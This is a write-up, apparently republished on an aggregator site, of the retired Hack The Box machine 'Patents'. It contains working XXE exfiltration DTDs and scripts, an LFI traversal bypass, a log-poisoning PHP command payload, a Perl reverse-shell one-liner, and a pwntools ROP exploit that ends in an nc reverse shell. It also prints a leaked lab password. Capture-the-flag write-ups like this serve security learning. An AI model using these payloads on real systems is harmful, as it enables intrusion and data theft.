Patents: Hack The Box Walkthrough

栏目: IT技术 · 发布时间: 4年前

内容简介:This post documents the complete walkthrough of Patents, a retired vulnerablePatents is a retired vulnerable VM from Hack The Box.Let’s start with a

This post documents the complete walkthrough of Patents, a retired vulnerable VM created by gbyolo , and hosted at Hack The Box . If you are uncomfortable with spoilers, please stop reading now.

On this post

  • Information Gathering
    • Directory/File Enumeration
      • Create DOCX file with custom XML part
      • XXE OOB with DTD and PHP filter
    • Directory Traversal and Local File Inclusion Vulnerability
    • Remote Command Execution
    • Process monitoring with pspy64
    • Lightweight File Manager LFM Protocol
    • Vulnerability Analysis of lfmserver
      • Controlling the offset to the return address
    • Exploit Development of lfmserver

Background

Patents is a retired vulnerable VM from Hack The Box.

Information Gathering

Let’s start with a masscan probe to establish the open ports in the host.

# masscan -e tun1 -p1-65535,U:1-65535 10.10.10.173 --rate=700

Starting masscan 1.0.5 (http://bit.ly/14GZzcT) at 2020-01-20 02:12:39 GMT
 -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 22/tcp on 10.10.10.173
Discovered open port 80/tcp on 10.10.10.173
Discovered open port 8888/tcp on 10.10.10.173

Other than the usual ports, port 8888/tcp sure looks interesting. Let’s do one better with nmap scanning the discovered ports to establish their services.

# nmap -n -v -Pn -p22,80,8888 -A --reason 10.10.10.173 -oN nmap.txt
...
PORT     STATE SERVICE         REASON         VERSION
22/tcp   open  ssh             syn-ack ttl 63 OpenSSH 7.7p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 39:b6:84:a7:a7:f3:c2:4f:38:db:fc:2a:dd:26:4e:67 (RSA)
|   256 b1:cd:18:c7:1d:df:57:c1:d2:61:31:89:9e:11:f5:65 (ECDSA)
|_  256 73:37:88:6a:2e:b8:01:4e:65:f7:f8:5e:47:f6:10:c4 (ED25519)
80/tcp   open  http            syn-ack ttl 62 Apache httpd 2.4.29 ((Ubuntu))
|_http-favicon: Unknown favicon MD5: 57E2685CB1CD9B0F1ADA444F3CFF20C6
| http-methods:
|_  Supported Methods: POST OPTIONS HEAD GET
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: MEOW Inc. - Patents Management
8888/tcp open  sun-answerbook? syn-ack ttl 63
| fingerprint-strings:
|   Help, LPDString, LSCP:
|_    LFM 400 BAD REQUEST
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8888-TCP:V=7.80%I=7%D=1/21%Time=5E269A82%P=x86_64-pc-linux-gnu%r(LS
SF:CP,17,"LFM\x20400\x20BAD\x20REQUEST\r\n\r\n")%r(Help,17,"LFM\x20400\x20
SF:BAD\x20REQUEST\r\n\r\n")%r(LPDString,17,"LFM\x20400\x20BAD\x20REQUEST\r
SF:\n\r\n");

Hmm. nmap is not saying much on the mysterious open port. Anyway, this is how the site looks like.

Patents: Hack The Box Walkthrough

Directory/File Enumeration

Let’s see what we can glean from wfuzz and quickhits.txt from SecLists.

# wfuzz -w quickhits.txt -t 100 --hc '403,404' http://10.10.10.173/FUZZ
********************************************************
* Wfuzz 2.4 - The Web Fuzzer                           *
********************************************************

Target: http://10.10.10.173/FUZZ
Total requests: 2439

===================================================================
ID           Response   Lines    Word     Chars       Payload
===================================================================

000000071:   200        7 L      28 W     6148 Ch     "/.DS_Store"
000000934:   200        1 L      0 W      1 Ch        "/config.php"
000002261:   200        120 L    353 W    5528 Ch     "/upload.html"
000002262:   200        16 L     73 W     589 Ch      "/upload.php"

Total time: 9.380824
Processed Requests: 2439
Filtered Requests: 2435
Requests/sec.: 259.9984

Hmm, .DS_Store . Someone is using Mac? Anyways, looks like we have two versions of an uploading feature.

upload.html

Patents: Hack The Box Walkthrough

upload.php

Patents: Hack The Box Walkthrough

Having said that, both files are pointing to the same convert.php .

upload.html

Patents: Hack The Box Walkthrough

upload.php

Patents: Hack The Box Walkthrough

Let’s switch gears to another wordlist and see what we can discover this time.

# wfuzz -w common.txt -t 100 --hc '403,404' http://10.10.10.173/FUZZ
********************************************************
* Wfuzz 2.4 - The Web Fuzzer                           *
********************************************************

Target: http://10.10.10.173/FUZZ
Total requests: 4652

===================================================================
ID           Response   Lines    Word     Chars       Payload
===================================================================

000002148:   200        340 L    770 W    12548 Ch    "index"
000002150:   200        340 L    770 W    12548 Ch    "index.html"
000002913:   301        9 L      28 W     313 Ch      "output"
000002971:   301        9 L      28 W     314 Ch      "patents"
000003251:   200        437 L    986 W    16064 Ch    "profile"
000003428:   301        9 L      28 W     314 Ch      "release"
000003894:   301        9 L      28 W     313 Ch      "static"
000004243:   200        120 L    353 W    5528 Ch     "upload"
000004252:   301        9 L      28 W     314 Ch      "uploads"
000004320:   301        9 L      28 W     313 Ch      "vendor"

Total time: 13.41015
Processed Requests: 4652
Filtered Requests: 4642
Requests/sec.: 346.9012

Ok. This time round we have some directories (the 301s). Let’s try quickhits.txt on /vendor .

# wfuzz -w quickhits.txt -t 100 --hc '403,404' http://10.10.10.173/vendor/FUZZ
********************************************************
* Wfuzz 2.4 - The Web Fuzzer                           *
********************************************************

Target: http://10.10.10.173/vendor/FUZZ
Total requests: 2439

===================================================================
ID           Response   Lines    Word     Chars       Payload
===================================================================

000000900:   200        848 L    1549 W   26980 Ch    "/composer/installed.json"

Total time: 10.21482
Processed Requests: 2439
Filtered Requests: 2438
Requests/sec.: 238.7706

Interesting. What have we here? Composer is used and installed.json contains the external PHP packages installed.

# curl -s http://10.10.10.173/vendor/composer/installed.json | jq '.[] | {name}' | tr -d '{}' | sed -r '/^$/d' | cut -d':' -f2 | tr -d '" '
gears/di
gears/pdf
gears/string
google/apiclient
icecave/parity
icecave/repr
ircmaxell/password-compat
jakoch/phantomjs-installer
paragonie/random_compat
symfony/filesystem
symfony/intl
symfony/polyfill
symfony/polyfill-ctype
symfony/process
voku/portable-utf8

Long story short, a hint from the creator was needed to get that initial foothold.

Patents: Hack The Box Walkthrough

After testing several wordlists from the raft series in SecLists, I managed to stumble upon the right one.

# wfuzz -w raft-large-words.txt -t 100 --hc '403,404' http://10.10.10.173/release/FUZZ
********************************************************
* Wfuzz 2.4 - The Web Fuzzer                           *
********************************************************

Target: http://10.10.10.173/release/FUZZ
Total requests: 119600

===================================================================
ID           Response   Lines    Word     Chars       Payload
===================================================================

000076827:   200        17 L     104 W    758 Ch      "UpdateDetails"

Total time: 342.9610
Processed Requests: 119600
Filtered Requests: 119599
Requests/sec.: 348.7276

Patents: Hack The Box Walkthrough

Something about entity parsing in the custom folder caught my eye. If I had to guess, I would say it means that XXE injection is possible in Microsoft Office Word’s custom XML.

XXE Injection

Let’s give it a shot. Here’s my game plan.

  1. First, we create an empty DOCX file with a custom XML part. Note that the XML must be valid.
  2. Inject XXE payload.
  3. Upload to test.
  4. Repeat step 2 for different payloads.

Create DOCX file with custom XML part

Easy. Refer to this video .

XXE payload

You can see that a customXml folder is present in the DOCX file.

Patents: Hack The Box Walkthrough

Extract it out like so.

# 7z e test.docx customXml

Inject a XXE payload with a text editor.

# vi customXml/item1.xml

Patents: Hack The Box Walkthrough

Update the DOCX file with the changes.

# zip -u test.docx -r customXml/

Upload to test

What you see above is the blind XXE where we try to load a remote resource. In our case, that remote resource is from my SimpleHTTPServer. The objective is to see if we are able to solicit any kind of response from the server.

Patents: Hack The Box Walkthrough

Awesome.

XXE OOB with DTD and PHP filter

Now, let’s move on to the next payload: XXE OOB with DTD and PHP filter.

Patents: Hack The Box Walkthrough

dtd.xml

<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://10.10.14.75/dtd.xml?%data;'>">

See what’s displayed on my SimpleHTTPServer.

# python -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 ...
10.10.10.173 - - [25/Jan/2020 05:46:26] "GET /dtd.xml HTTP/1.0" 200 -
10.10.10.173 - - [25/Jan/2020 05:46:26] "GET /dtd.xml?cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgpiaW46eDoyOjI6YmluOi9iaW46L3Vzci9zYmluL25vbG9naW4Kc3lzOng6MzozOnN5czovZGV2Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5bmM6eDo0OjY1NTM0OnN5bmM6L2JpbjovYmluL3N5bmMKZ2FtZXM6eDo1OjYwOmdhbWVzOi91c3IvZ2FtZXM6L3Vzci9zYmluL25vbG9naW4KbWFuOng6NjoxMjptYW46L3Zhci9jYWNoZS9tYW46L3Vzci9zYmluL25vbG9naW4KbHA6eDo3Ojc6bHA6L3Zhci9zcG9vbC9scGQ6L3Vzci9zYmluL25vbG9naW4KbWFpbDp4Ojg6ODptYWlsOi92YXIvbWFpbDovdXNyL3NiaW4vbm9sb2dpbgpuZXdzOng6OTo5Om5ld3M6L3Zhci9zcG9vbC9uZXdzOi91c3Ivc2Jpbi9ub2xvZ2luCnV1Y3A6eDoxMDoxMDp1dWNwOi92YXIvc3Bvb2wvdXVjcDovdXNyL3NiaW4vbm9sb2dpbgpwcm94eTp4OjEzOjEzOnByb3h5Oi9iaW46L3Vzci9zYmluL25vbG9naW4Kd3d3LWRhdGE6eDozMzozMzp3d3ctZGF0YTovdmFyL3d3dzovdXNyL3NiaW4vbm9sb2dpbgpiYWNrdXA6eDozNDozNDpiYWNrdXA6L3Zhci9iYWNrdXBzOi91c3Ivc2Jpbi9ub2xvZ2luCmxpc3Q6eDozODozODpNYWlsaW5nIExpc3QgTWFuYWdlcjovdmFyL2xpc3Q6L3Vzci9zYmluL25vbG9naW4KaXJjOng6Mzk6Mzk6aXJjZDovdmFyL3J1bi9pcmNkOi91c3Ivc2Jpbi9ub2xvZ2luCmduYXRzOng6NDE6NDE6R25hdHMgQnVnLVJlcG9ydGluZyBTeXN0ZW0gKGFkbWluKTovdmFyL2xpYi9nbmF0czovdXNyL3NiaW4vbm9sb2dpbgpub2JvZHk6eDo2NTUzNDo2NTUzNDpub2JvZHk6L25vbmV4aXN0ZW50Oi91c3Ivc2Jpbi9ub2xvZ2luCl9hcHQ6eDoxMDA6NjU1MzQ6Oi9ub25leGlzdGVudDovdXNyL3NiaW4vbm9sb2dpbgpnYnlvbG86eDoxMDAwOjEwMDA6Oi9ob21lL2dieW9sbzovYmluL2Jhc2gK HTTP/1.0" 200 -

base64 -encoded /etc/passwd from the server, which is decoded to:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
gbyolo:x:1000:1000::/home/gbyolo:/bin/bash

With that in mind, let’s write a simple shell script to exfiltrate any file we have read permissions on. Notice I’m chaining PHP filters to reduce the size.

exfil.sh

#!/bin/bash

HOST=10.10.10.173
URL="http://$HOST/convert.php"
FILE=$1

cat <<EOF > dtd.xml
<!ENTITY % data SYSTEM "php://filter/zlib.deflate/convert.base64-encode/resource=$FILE">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://10.10.14.75/dtd.xml?%data;'>">
EOF

curl -s \
     -H "Expect: " \
     -F "[email protected];type=application/vnd.openxmlformats-officedocument.wordprocessingml.document" \
     -F "submit=Generate pdf" \
     -o /dev/null \
     $URL

I’m also piping my SimpleHTTPServer output to the following to display only the pertinent information.

# python -m SimpleHTTPServer 80 2>&1 | stdbuf -o0 grep -Eo 'dtd\.xml\?.* ' | stdbuf -o0 cut -d' ' -f1 | stdbuf -o0 cut -c9-

Let’s exfiltrate config.php .

Patents: Hack The Box Walkthrough

Here, I’m using CyberChef to reconstruct the actual file back. Looks like we have a purposely-named file that prevents discovery by any wordlists.

getPatent_alphav1.0.php

<?php

//error_reporting(E_ALL);
//ini_set('display_errors', 1);
//header("Content-type: text/plain");

require __DIR__ . '/vendor/autoload.php';

include('config.php');

use Gears;

$uploaddir = 'uploads/';

?>
<!DOCTYPE html>
<html>
    <head>
        <meta charset="utf-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0, user-scalable=0">
        <link rel="shortcut icon" type="image/x-icon" href="static/assets/img/favicon.png">
        <title>Upload - MEOW Inc. - Patents Management Management</title>
		<link href="https://fonts.googleapis.com/css?family=Montserrat:300,400,500,600,700" rel="stylesheet">
        <link rel="stylesheet" type="text/css" href="static/assets/css/bootstrap.min.css">
		<link rel="stylesheet" type="text/css" href="static/assets/css/line-awesome.min.css">
		<link rel="stylesheet" type="text/css" href="static/assets/css/dataTables.bootstrap.min.css">
        <link rel="stylesheet" type="text/css" href="static/assets/css/font-awesome.min.css">
        <link rel="stylesheet" type="text/css" href="static/assets/css/style.css">
		<!--[if lt IE 9]>
			<script src="static/assets/js/html5shiv.min.js"></script>
			<script src="static/assets/js/respond.min.js"></script>
		<![endif]-->
    </head>
    <body>
        <div>
            <div>
                <div>
                    <a href="index.html">
						<img src="static/assets/img/logo.png" width="50" height="50" alt="">
					</a>
                </div>
				<a id="toggle_btn" href="javascript:void(0);"><i></i></a>
                <div>
					<h3>MEOW Inc. - Patents Management</h3>
                </div>
				<a id="mobile_btn" href="#sidebar"><i aria-hidden="true"></i></a>
				<ul>
					<li>
						<a href="profile.html" data-toggle="dropdown" title="Admin">
							<span><img src="static/assets/img/user.jpg" width="40" alt="Admin">
							<span></span></span>
							<span>Ajeje Brazorf</span>
							<i></i>
						</a>
						<ul>
							<li><a href="profile.html">My Profile</a></li>
							<li><a href="edit-profile.html">Edit Profile</a></li>
						</ul>
					</li>
				</ul>
				<div>
					<a href="#" data-toggle="dropdown" aria-expanded="false"><i></i></a>
					<ul>
						<li><a href="profile.html">My Profile</a></li>
						<li><a href="edit-profile.html">Edit Profile</a></li>
					</ul>
				</div>
            </div>
            <div id="sidebar">
                <div>
					<div id="sidebar-menu">
						<ul>
							<li>
								<a href="#"><i></i> <span> Patents</span> <span></span></a>
								<ul>
									<li><a href="index.html">All Patents</a></li>
									<li><a href="upload.html">Upload patent</a></li>
								</ul>
							</li>
						</ul>
					</div>
                </div>
            </div>
            <div>
                <div>
                	<div>
                		<div>
                			<h4>Read a patent</h4>
                		</div>
                	</div>
                	<div>
                		<div>
                			<span></span>
                		</div>
                	</div>
                	<div>
                		<div>
                			<span>Here you can read submitted patents. Being it an experimental feature yet, read your patents using <pre>?id=#ID_OF_YOUR_PATENT.</pre></span>
                		</div>
                	</div>

						<?php
							if (isset($_GET["id"])) {
							    $id = $_GET["id"];
							    $file = str_replace("../","",PATENTS_DIR . $id);  
							    echo "<div class=\"row mt-3\"> <div class=\"col\">";
						            echo "<span>ID: $id</span></div> <div class=\"col\">";
							    echo " <pre>";
							    include(__DIR__ . $file);
							    echo "</pre></div></div>";
							}
						?>
                </div>
            </div>
        </div>
		<div data-reff="#sidebar"></div>
        <script type="text/javascript" src="static/assets/js/jquery-3.2.1.min.js"></script>
        <script type="text/javascript" src="static/assets/js/bootstrap.min.js"></script>
		<script type="text/javascript" src="static/assets/js/jquery.dataTables.min.js"></script>
		<script type="text/javascript" src="static/assets/js/dataTables.bootstrap.min.js"></script>
		<script type="text/javascript" src="static/assets/js/jquery.slimscroll.js"></script>
		<script type="text/javascript" src="static/assets/js/app.js"></script>
    </body>
</html>

Directory Traversal and Local File Inclusion Vulnerability

Looks like there’s a directory traversal and LFI vulnerability with the id parameter in getPatent_alphav1.0.php . After all, gbyolo is right to say that str_replace is not a real fix. Armed with this insight, let’s write another shell script to exploit the LFI vulnerability to read files.

lfi.sh

#!/bin/bash

HOST=10.10.10.173
FILE=$1
URL="http://$HOST/getPatent_alphav1.0.php?id=....//....//....//....//....//$FILE"

curl -s \
     $URL \
| sed '/<pre>/,/<\/pre>/!d' \
| sed 1,4d \
| xmllint --recover --xpath "//pre" - 2>/dev/null \
| sed -r 's/<\/?pre\/?>//g'

Notice how I was able to bypass str_replace() to achieve directory traversal? Now, let’s see if we can access files that will allow log poisoning later on. For brevity’s sake, I was able to access /var/log/apache/error.log for log poisoning.

I poisoned it with the following command:

# curl -H "Referer: <?php phpinfo(); ?>" http://10.10.10.173/dipshit.php

And you should get something like this.

Patents: Hack The Box Walkthrough

Remote Command Execution

Next up, let’s see if we can get remote command execution from log poisoning with the following:

# curl -H "Referer: <style type='text/css'>body { background-color: black; } #dipshit { background-color: white; color: black; }</style><div id='dipshit'><pre><?php echo shell_exec(\$_GET[0]); ?></pre></div>" http://10.10.10.173/dipshit.php

If everything went well, we should see something like this responding to the following URL.

http://10.10.10.173/getPatent_alphav1.0.php?id=....//....//....//....//....///var/log/apache2/error.log&0=id

Patents: Hack The Box Walkthrough

Low-Privileged Shell

Time to get that shell with a Perl one-liner.

perl -e 'use Socket;$i="10.10.14.75";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'

Patents: Hack The Box Walkthrough

Finally but the euphoria didn’t last long because the user.txt is held by root and the web server is hosted in a docker container.

Patents: Hack The Box Walkthrough

Which means that we need to find the root ’s password on this docker container. Patents: Hack The Box Walkthrough

Process monitoring with pspy64

Patents: Hack The Box Walkthrough

Hmm. gbyolo is not as security conscious as we thought! Armed with the root ’s password ( !gby0l0r0ck$$! ), we can easily get user.txt .

Patents: Hack The Box Walkthrough

Privilege Escalation

At long last we have some information about the mysterious open port 8888/tcp , other than getting “LFM 400 BAD REQUEST” with everything thrown at it.

checker.py

#!/usr/bin/env python
import sys
import os
from utils import md5,recvline
import socket

INPUTREQ = "CHECK /{} LFM\r\nUser={}\r\nPassword={}\r\n\r\n{}\n"

if len(sys.argv) != 5:
    print "Usage: " + sys.argv[0] + " <host>:<port> <user> <pass> <file>"
    exit(-1)

HOST = sys.argv[1]
var = HOST.split(":")

if len(var) != 2:
    print "Usage: " + sys.argv[0] + " <host>:<port> <user> <pass> <file>"
    exit(-1)

try:
    PORT = int(var[1])
except ValueError:
    print "Port number must be integer"
    exit(-1)

HOST = var[0]

#print "Connecting to " + HOST + ":" + str(PORT)

USER = sys.argv[2]

try:
    PASS = os.environ[sys.argv[3]]
except KeyError:
    print "Couldn't find such password"
    exit(-1)

FILE = sys.argv[4]

# At this point PASS is well-defined
base = os.path.basename(FILE)

try:
    md5sum = md5(FILE)
except IOError:
    print "File not found locally"
    exit(-1)

REALREQ = INPUTREQ.format(base, USER, PASS, md5sum)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((HOST, PORT))
s.sendall(REALREQ)
resp = s.recv(4096)
s.close()

#print resp

if "LFM 200 OK" in resp:
    #print "File OK, no need to download"
    exit(0)

if "404" in resp:
    print "File not found on server"
    exit(-1)

#print "File corrupted, need to download it"

REQ = "GET /{} LFM\r\n\r\n".format(base)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.sendall(REQ)
recvline(s)
recvline(s)
recvline(s)
resp = s.recv(8192)

#if resp[-1] == '\n':
#    resp = resp[:-1]
#
#if resp[-1] == '\r':
#    resp = resp[:-1]

s.close()

with open("{}.new".format(base), "wb") as f:
    f.write(resp)

print "{}.new".format(base)

Lightweight File Manager LFM Protocol

On top of that, during enumeration of gbyolo ’s account, I notice the git repository to lfmserver ’s source code.

Patents: Hack The Box Walkthrough

Here’s some of the commit logs.

Patents: Hack The Box Walkthrough

Checking out commit 1bbc51851 reveals the protocol.

Patents: Hack The Box Walkthrough

Vulnerability Analysis of lfmserver

From the README above, it’s evident that if we are to exploit the LFM protocol, it must have something to do with the input, and we have three methods to play with, namely, CHECK, GET and PUT. However, looking at the source code for the LFM protocol implementation, we can’t find the handler for the respective methods.

Patents: Hack The Box Walkthrough

Fret not. We have lfmserver ; we can reverse-engineer the handlers. Long story short, the vulnerability lies in the handle_check function.

Patents: Hack The Box Walkthrough

This is where (in handle_lfm_connection ) we call the handle_check function. Right after we enter the function, we have a 160-byte buffer for storing the file path after URL decoding. I smell buffer overflow!

Patents: Hack The Box Walkthrough

Controlling the offset to the return address

Here, I was able to control the offset to the return address with this little test script.

test.sh

#!/bin/bash

HOST="127.0.0.1"
PORT="8888"
USER="lfmserver_user"
PASS='!gby0l0r0ck$$!'
FILE=$1
TRAV="%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e"
MD5="$(md5sum $FILE | cut -d' ' -f1)"
PAY="$(perl -e 'print "A" x 107 . "B" x 6' | xxd -p | tr -d '\n' | sed -r 's/(..)/%\1/g')"

echo -ne "CHECK /${TRAV}${FILE}%00${PAY} LFM\r\nUSER=$USER\r\nPASSWORD=$PASS\r\n\r\n$MD5\n" \
| nc $HOST $PORT

Patents: Hack The Box Walkthrough

Exploit Development of lfmserver

Before we go on, there’s an important information in commit a900ccf7 about the libc(7) used in compiling lfmserver . You can download it from here .

Patents: Hack The Box Walkthrough

We can build upon our test script to develop an actual exploit for lfmserver with pwntools. Here’s my exploit code.

exploit.py

from pwn import *

# Context
context.binary = "./lfmserver"
libc = ELF("./libc.so.6")

# Connection information
host = "10.10.10.173"
port = 8888

# LFM authentication / md5sum
user      = "lfmserver_user"
password  = "!gby0l0r0ck$$!"
guarantee = "/proc/sys/kernel/randomize_va_space" # guaranteed to be same on both sides; ASLR is enabled
md5sum    = "26ab0db90d72e28ad0ba1e22ee510510"    # md5sum("/proc/sys/kernel/randomize_va_space")

def encode(string):
    return ''.join("%%%02x" % ord(c) for c in string)

def genrequest(payload):
	traversal     = "../../../../../.."
	offset_to_ret = "A" * 107

	filepath  = encode(traversal)
	filepath += guarantee + "%00"
	filepath += encode(offset_to_ret)
	filepath += encode(payload)

	request = "CHECK /{} LFM\r\nUser={}\r\nPassword={}\r\n\r\n{}\n".format(filepath, user, password, md5sum)
	return request

# ROPgadget --binary lfmserver
'''
0x0000000000405c4b : pop rdi ; ret
0x0000000000405c49 : pop rsi ; pop r15 ; ret
'''
pop_rdi_ret     = 0x405c4b
pop_rsi_pop_ret = 0x405c49
skip            = 0xdeadbeef

# Leak libc
r = remote(host, port)

rop  = ""
rop += p64(pop_rdi_ret)
rop += p64(6)
rop += p64(pop_rsi_pop_ret)
rop += p64(context.binary.got["dup2"])
rop += p64(skip)
rop += p64(context.binary.symbols["write"])

r.sendline(genrequest(rop))

leaked = r.recvall().split('\n')[4][1:7]
leaked = unpack(leaked, 48)
libc.address = leaked - libc.symbols["dup2"]

success("libc base: %s" % hex(libc.address))

# Time for shell
r = remote(host, port)

# dup2(6, 0), dup2(6, 1), dup2(6, 2)
payload = ""
for fd in range(3):
	payload += p64(pop_rdi_ret)
	payload += p64(6)
	payload += p64(pop_rsi_pop_ret)
	payload += p64(fd)
	payload += p64(skip)
	payload += p64(libc.symbols["dup2"])

# one_gadget libc.so.6
'''
0x50186 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rsp & 0xf == 0
  rcx == NULL

0x501e3 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x103f50 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
'''
payload += p64(libc.address + 0x501e3) # found to work from trial-n-error

r.sendline(genrequest(payload))
r.sendline("rm -rf /tmp/p; mknod /tmp/p p; /bin/bash </tmp/p | nc 10.10.15.188 1234 >/tmp/p")

Let’s give it a shot. We need to set up a nc listener by the way because our payload is a reverse shell.

Patents: Hack The Box Walkthrough

Awesome.

Getting root.txt

I got kicked hard in the nuts, this one. I ran all the docker images including the hidden ones thinking that root.txt in one of them. Boy, was I wrong! In the end, the real /root mount point was hidden from me because of the Linux filesystem hierarchy.

Patents: Hack The Box Walkthrough

See? If I navigate to /root , I’m actually looking at /dev/sdb1 . So, in order to get to /dev/sda2 mounted at / , I can mount /dev/sda2 at another location, e.g. /tmp/gbyolo .

Patents: Hack The Box Walkthrough

With that, getting root.txt is easy.


以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

运营其实很简单:互联网运营进阶之道

运营其实很简单:互联网运营进阶之道

郑文博 / 人民邮电出版社 / 2018-2 / 49.80元

为了帮助从事运营或即将从事运营的广大读者更好、更快地了解运营、学习运营、入职运营,本书详细阐述运营对于用户、企业的帮助,同时以单个理论点 单个实战案例的方式详细分析了社群运营、活动运营、新媒体运营、内容运营、渠道运营、精细化运营、场景化运营、用户化运营、商业化运营等模块及运营工作、渠道整合、社群知识、渠道优化、SOP流程等细节,力求让读者在求职路上快速上手,在迷茫途中快速定位。 《运营其实很简单 ......一起来看看 《运营其实很简单:互联网运营进阶之道》 这本书的介绍吧!

HTML 压缩/解压工具
HTML 压缩/解压工具

在线压缩/解压 HTML 代码

JSON 在线解析
JSON 在线解析

在线 JSON 格式化工具

HEX HSV 转换工具
HEX HSV 转换工具

HEX HSV 互换工具